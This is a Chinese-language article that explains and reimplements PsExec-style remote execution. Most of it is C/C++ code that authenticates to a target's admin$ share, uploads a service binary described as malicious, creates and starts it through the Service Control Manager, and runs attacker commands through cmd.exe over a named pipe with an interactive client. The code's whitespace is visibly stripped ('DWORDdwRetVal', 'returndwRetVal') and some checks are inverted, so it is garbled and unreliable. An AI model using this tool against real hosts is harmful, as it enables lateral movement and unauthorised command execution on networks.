psexec原理分析和实现

1. 连接SMB共享
2. 上传一个恶意服务文件到共享目录
3. 打开SCM创建服务
4. 启动服务
   a. 服务创建输入输出管道
   b. 等待攻击者连接管道
   c. 从管道读取攻击者的命令
   d. 输出执行结果到管道
   e. 跳转到 c
5. 删除服务
6. 删除文件

The WNetAddConnection function enables the calling application to connect a local device to a network resource. A successful connection is persistent, meaning that the system automatically restores the connection during subsequent logon operations.

DWORDWNetAddConnection2A(
[in]LPNETRESOURCEAlpNetResource,//一个指向连接信息结构的指针
[in]LPCSTRlpPassword,//密码
[in]LPCSTRlpUserName,//用户名
[in]DWORDdwFlags//选项
);

DWORDConnectSMBServer(LPCWSTRlpwsHost,LPCWSTRlpwsUserName,LPCWSTRlpwsPassword){
// SMB shared resource.
PWCHARlpwsIPC=newWCHAR[MAX_PATH];
// Return value
DWORDdwRetVal;
// Detailed network information
NETRESOURCEnr;
// Connection flags
DWORDdwFlags;

ZeroMemory(&nr,sizeof(NETRESOURCE));
swprintf(lpwsIPC,100,TEXT("\\\\%s\\admin$"),lpwsHost);

nr.dwType=RESOURCETYPE_ANY;
nr.lpLocalName=NULL;
nr.lpRemoteName=lpwsIPC;
nr.lpProvider=NULL;

dwFlags=CONNECT_UPDATE_PROFILE;

dwRetVal=WNetAddConnection2(&nr,lpwsPassword,lpwsUserName,dwFlags);
if(dwRetVal==NO_ERROR){
// success
wprintf(L"[*] Connect added to %s\n",nr.lpRemoteName);
returndwRetVal;
}


wprintf(L"[*] WNetAddConnection2 failed with error: %u\n",dwRetVal);
return-1;
}

BOOLCopyFile(
[in]LPCTSTRlpExistingFileName,
[in]LPCTSTRlpNewFileName,
[in]BOOLbFailIfExists
);

BOOLUploadFileBySMB(LPCWSTRlpwsSrcPath,LPCWSTRlpwsDstPath){
DWORDdwRetVal;
dwRetVal=CopyFile(lpwsSrcPath,lpwsDstPath,FALSE);
returndwRetVal>0?TRUE :FALSE;
}

Microsoft Windows 服务（过去称为 NT 服务）允许用户创建可在其自身的 Windows 会话中长时间运行的可执行应用程序。 这些服务可在计算机启动时自动启动，可以暂停和重启，并且不显示任何用户界面。 这些功能使服务非常适合在服务器上使用，或者需要长时间运行的功能（不会影响在同一台计算机上工作的其他用户）的情况。 还可以在与登录用户或默认计算机帐户不同的特定用户帐户的安全性上下文中运行服务。

#include<Windows.h>
#include<stdio.h>
// Windows 服务代码模板
////////////////////////////////////////////////////////////////////////////////////
// sc create Monitor binpath= Monitor.exe
// sc start Monitor
// sc delete Monitor
////////////////////////////////////////////////////////////////////////////////////
/**********************************************************************************/
////////////////////////////////////////////////////////////////////////////////////
// New-Service –Name Monitor –DisplayName Monitor –BinaryPathName "D:\Monitor\Monitor.exe" –StartupType Automatic
// Start-Service Monitor
// Stop-Service Monitor
////////////////////////////////////////////////////////////////////////////////////



#define SLEEP_TIME 5000                          /*间隔时间*/
#define LOGFILE "D:\\log.txt"              /*信息输出文件*/

SERVICE_STATUSServiceStatus;/*服务状态*/
SERVICE_STATUS_HANDLEhStatus;/*服务状态句柄*/

voidServiceMain(intargc,char**argv);
voidCtrlHandler(DWORDrequest);
intInitService();

intmain(intargc,CHAR*argv[])
{
WCHARWserviceName[]=TEXT("Monitor");
SERVICE_TABLE_ENTRYServiceTable[2];
ServiceTable[0].lpServiceName=WserviceName;
ServiceTable[0].lpServiceProc=(LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName=NULL;
ServiceTable[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ServiceTable);

return0;
}

intWriteToLog(constchar*str)
{
FILE*pfile;
fopen_s(&pfile,LOGFILE,"a+");
if(pfile==NULL)
{
return-1;
}
fprintf_s(pfile,"%s\n",str);
fclose(pfile);

return0;
}

/*Service initialization*/
intInitService()
{
CHARMessage[]="Monitoring started.";
OutputDebugString(TEXT("Monitoring started."));
intresult;
result=WriteToLog(Message);

return(result);
}

/*Control Handler*/
voidCtrlHandler(DWORDrequest)
{
switch(request)
{
caseSERVICE_CONTROL_STOP:

WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode=0;
ServiceStatus.dwCurrentState=SERVICE_STOPPED;
SetServiceStatus(hStatus,&ServiceStatus);
return;
caseSERVICE_CONTROL_SHUTDOWN:
WriteToLog("Monitoring stopped.");

ServiceStatus.dwWin32ExitCode=0;
ServiceStatus.dwCurrentState=SERVICE_STOPPED;
SetServiceStatus(hStatus,&ServiceStatus);
return;
default:
break;
}
/* Report current status  */
SetServiceStatus(hStatus,&ServiceStatus);
return;
}

voidServiceMain(intargc,char**argv)
{
WCHARWserviceName[]=TEXT("Monitor");
interror;
ServiceStatus.dwServiceType=
SERVICE_WIN32;
ServiceStatus.dwCurrentState=
SERVICE_START_PENDING;
/*在本例中只接受系统关机和停止服务两种控制命令*/
ServiceStatus.dwControlsAccepted=
SERVICE_ACCEPT_SHUTDOWN|
SERVICE_ACCEPT_STOP;
ServiceStatus.dwWin32ExitCode=0;
ServiceStatus.dwServiceSpecificExitCode=0;
ServiceStatus.dwCheckPoint=0;
ServiceStatus.dwWaitHint=0;
hStatus=::RegisterServiceCtrlHandler(
WserviceName,
(LPHANDLER_FUNCTION)CtrlHandler);
if(hStatus==(SERVICE_STATUS_HANDLE)0)
{

WriteToLog("RegisterServiceCtrlHandler failed");
return;
}
WriteToLog("RegisterServiceCtrlHandler success");
/* Initialize Service   */
error=InitService();
if(error)
{
/* Initialization failed  */
ServiceStatus.dwCurrentState=
SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode=-1;
SetServiceStatus(hStatus,&ServiceStatus);
return;
}
/*向SCM 报告运行状态*/
ServiceStatus.dwCurrentState=
SERVICE_RUNNING;
SetServiceStatus(hStatus,&ServiceStatus);

/*do something you want to do in this while loop*/
// TODO
return;
}

SC_HANDLEOpenSCManagerA(
[in, optional]LPCSTRlpMachineName,//目标计算机的名称
[in, optional]LPCSTRlpDatabaseName,//服务控制管理器数据库的名称
[in]DWORDdwDesiredAccess//访问权限列表
);

SC_HANDLEOpenServiceA(
[in]SC_HANDLEhSCManager,
[in]LPCSTRlpServiceName,
[in]DWORDdwDesiredAccess
);

SC_HANDLECreateServiceA(
[in]SC_HANDLEhSCManager,
[in]LPCSTRlpServiceName,
[in, optional]LPCSTRlpDisplayName,
[in]DWORDdwDesiredAccess,
[in]DWORDdwServiceType,
[in]DWORDdwStartType,
[in]DWORDdwErrorControl,
[in, optional]LPCSTRlpBinaryPathName,
[in, optional]LPCSTRlpLoadOrderGroup,
[out, optional]LPDWORDlpdwTagId,
[in, optional]LPCSTRlpDependencies,
[in, optional]LPCSTRlpServiceStartName,
[in, optional]LPCSTRlpPassword
);

BOOLCreateServiceWithSCM(LPCWSTRlpwsSCMServer,LPCWSTRlpwsServiceName,LPCWSTRlpwsServicePath)
{
std::wcout<<TEXT("Will Create Service ")<<lpwsServiceName<<std::endl;
SC_HANDLEhSCM;
SC_HANDLEhService;
SERVICE_STATUSss;
// GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
hSCM=OpenSCManager(lpwsSCMServer,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
if(hSCM==NULL){
std::cout<<"OpenSCManager Error: "<<GetLastError()<<std::endl;
return-1;
}

hService=CreateService(
hSCM,// 服务控制管理器数据库的句柄
lpwsServiceName,// 要安装的服务的名称
lpwsServiceName,// 用户界面程序用来标识服务的显示名称
GENERIC_ALL,// 访问权限
SERVICE_WIN32_OWN_PROCESS,// 与一个或多个其他服务共享一个流程的服务
SERVICE_DEMAND_START,// 当进程调用StartService函数时，由服务控制管理器启动的服务 。
SERVICE_ERROR_IGNORE,// 启动程序将忽略该错误并继续启动操作
lpwsServicePath,// 服务二进制文件的标准路径
NULL,
NULL,
NULL,
NULL,
NULL);
if(hService==NULL){
std::cout<<"CreateService Error: "<<GetLastError()<<std::endl;
return-1;
}
std::wcout<<TEXT("Create Service Success : ")<<lpwsServicePath<<std::endl;
hService=OpenService(hSCM,lpwsServiceName,GENERIC_ALL);
if(hService==NULL){
std::cout<<"OpenService Error: "<<GetLastError()<<std::endl;
return-1;
}
std::cout<<"OpenService Success!"<<std::endl;

StartService(hService,NULL,NULL);

return0;
}

int_tmain(VOID){
HANDLEhStdoutPipe=INVALID_HANDLE_VALUE;
LPCTSTRlpszStdoutPipeName=TEXT("\\\\.\\pipe\\PSEXEC");

if(!CreateStdNamedPipe(&hStdoutPipe,lpszStdoutPipeName)){
OutputError(TEXT("CreateStdNamedPipe PSEXEC"),GetLastError());
}
_tprintf("[*] CreateNamedPipe successfully!\n");
}

BOOLCreateStdNamedPipe(PHANDLElpPipe,LPCTSTRlpPipeName){
*lpPipe=CreateNamedPipe(
lpPipeName,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|
PIPE_READMODE_MESSAGE|
PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFSIZE,
BUFSIZE,
0,
NULL);

return!(*lpPipe==INVALID_HANDLE_VALUE);
}

if(!ConnectNamedPipe(hStdoutPipe,NULL)?TRUE :(GetLastError()==ERROR_PIPE_CONNECTED)){
OutputError("ConnectNamePipe PSEXEC",GetLastError());

CloseHandle(hStdoutPipe);
return-1;
}
_tprintf("[*] ConnectNamedPipe sucessfully!\n");

while(true){
DWORDcbBytesRead=0;

ZeroMemory(pReadBuffer,sizeof(TCHAR)*BUFSIZE);
// Read message from client.
if(!ReadFile(hStdoutPipe,pReadBuffer,BUFSIZE,&cbBytesRead,NULL)){
OutputError("[!] ReadFile from client failed!\n",GetLastError());
return-1;
}
_tprintf("[*] ReadFile from client successfully. message = %s\n",pReadBuffer);

/*================= subprocess ================*/
sprintf_s(lpCommandLine,BUFSIZE,"cmd.exe /c \"%s && exit\"",pReadBuffer);
_tprintf("[*] Command line %s\n",lpCommandLine);

if(!CreateProcess(
NULL,
lpCommandLine,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)){
OutputError("CreateProcess",GetLastError());
return-1;
}

WaitForSingleObject(pi.hProcess,INFINITE);

fSuccess=SetNamedPipeHandleState(
hWritePipe,// pipe handle 
&dwMode,// new pipe mode 
NULL,// don't set maximum bytes 
NULL);// don't set maximum time 

ZeroMemory(pWriteBuffer,sizeof(TCHAR)*BUFSIZE);
fSuccess=ReadFile(hReadPipe,pWriteBuffer,BUFSIZE*sizeof(TCHAR),&cbBytesRead,NULL);

if(!fSuccess&&GetLastError()!=ERROR_MORE_DATA){
break;
}

// Send result to client.
cbToWritten=(lstrlen(pWriteBuffer)+1)*sizeof(TCHAR);
if(!WriteFile(hStdoutPipe,pWriteBuffer,cbBytesRead,&cbToWritten,NULL)){
OutputError("WriteFile",GetLastError());
return-1;
}
_tprintf("[*] WriteFile to client successfully!\n");
}

HANDLEhStdoutPipe=INVALID_HANDLE_VALUE;
LPCTSTRlpszStdoutPipeName=TEXT("\\\\.\\pipe\\PSEXEC");

hStdoutPipe=CreateFile(
lpszStdoutPipeName,
GENERIC_READ|
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);

// All pipe instances are busy, so wait for 20 seconds.
if(WaitNamedPipe(lpszStdoutPipeName,20000)){
_tprintf(TEXT("[!] Could not open pipe (PSEXEC): 20 second wait timed out.\n"));
return-1;
}
_tprintf(TEXT("[*] WaitNamedPipe successfully!\n"));

while(true){
std::stringcommand;

std::cout<<"\nPsExec>";
getline(std::cin,command);
cbToRead=command.length()*sizeof(TCHAR);

if(!WriteFile(hStdoutPipe,(LPCVOID)command.c_str(),cbToRead,&cbRead,NULL)){
_tprintf(TEXT("[!] WriteFile to server error! GLE = %d\n"),GetLastError());
break;
}
_tprintf(TEXT("[*] WriteFile to server successfully!\n"));

fSuccess=ReadFile(hStdoutPipe,chBuf,BUFSIZE*sizeof(TCHAR),&cbRead,NULL);
if(!fSuccess){
/*OutputError(TEXT("ReadFile"), GetLastError());*/
_tprintf("ReadFile error. GLE = %d",GetLastError());
}

std::cout<<chBuf<<std::endl;
}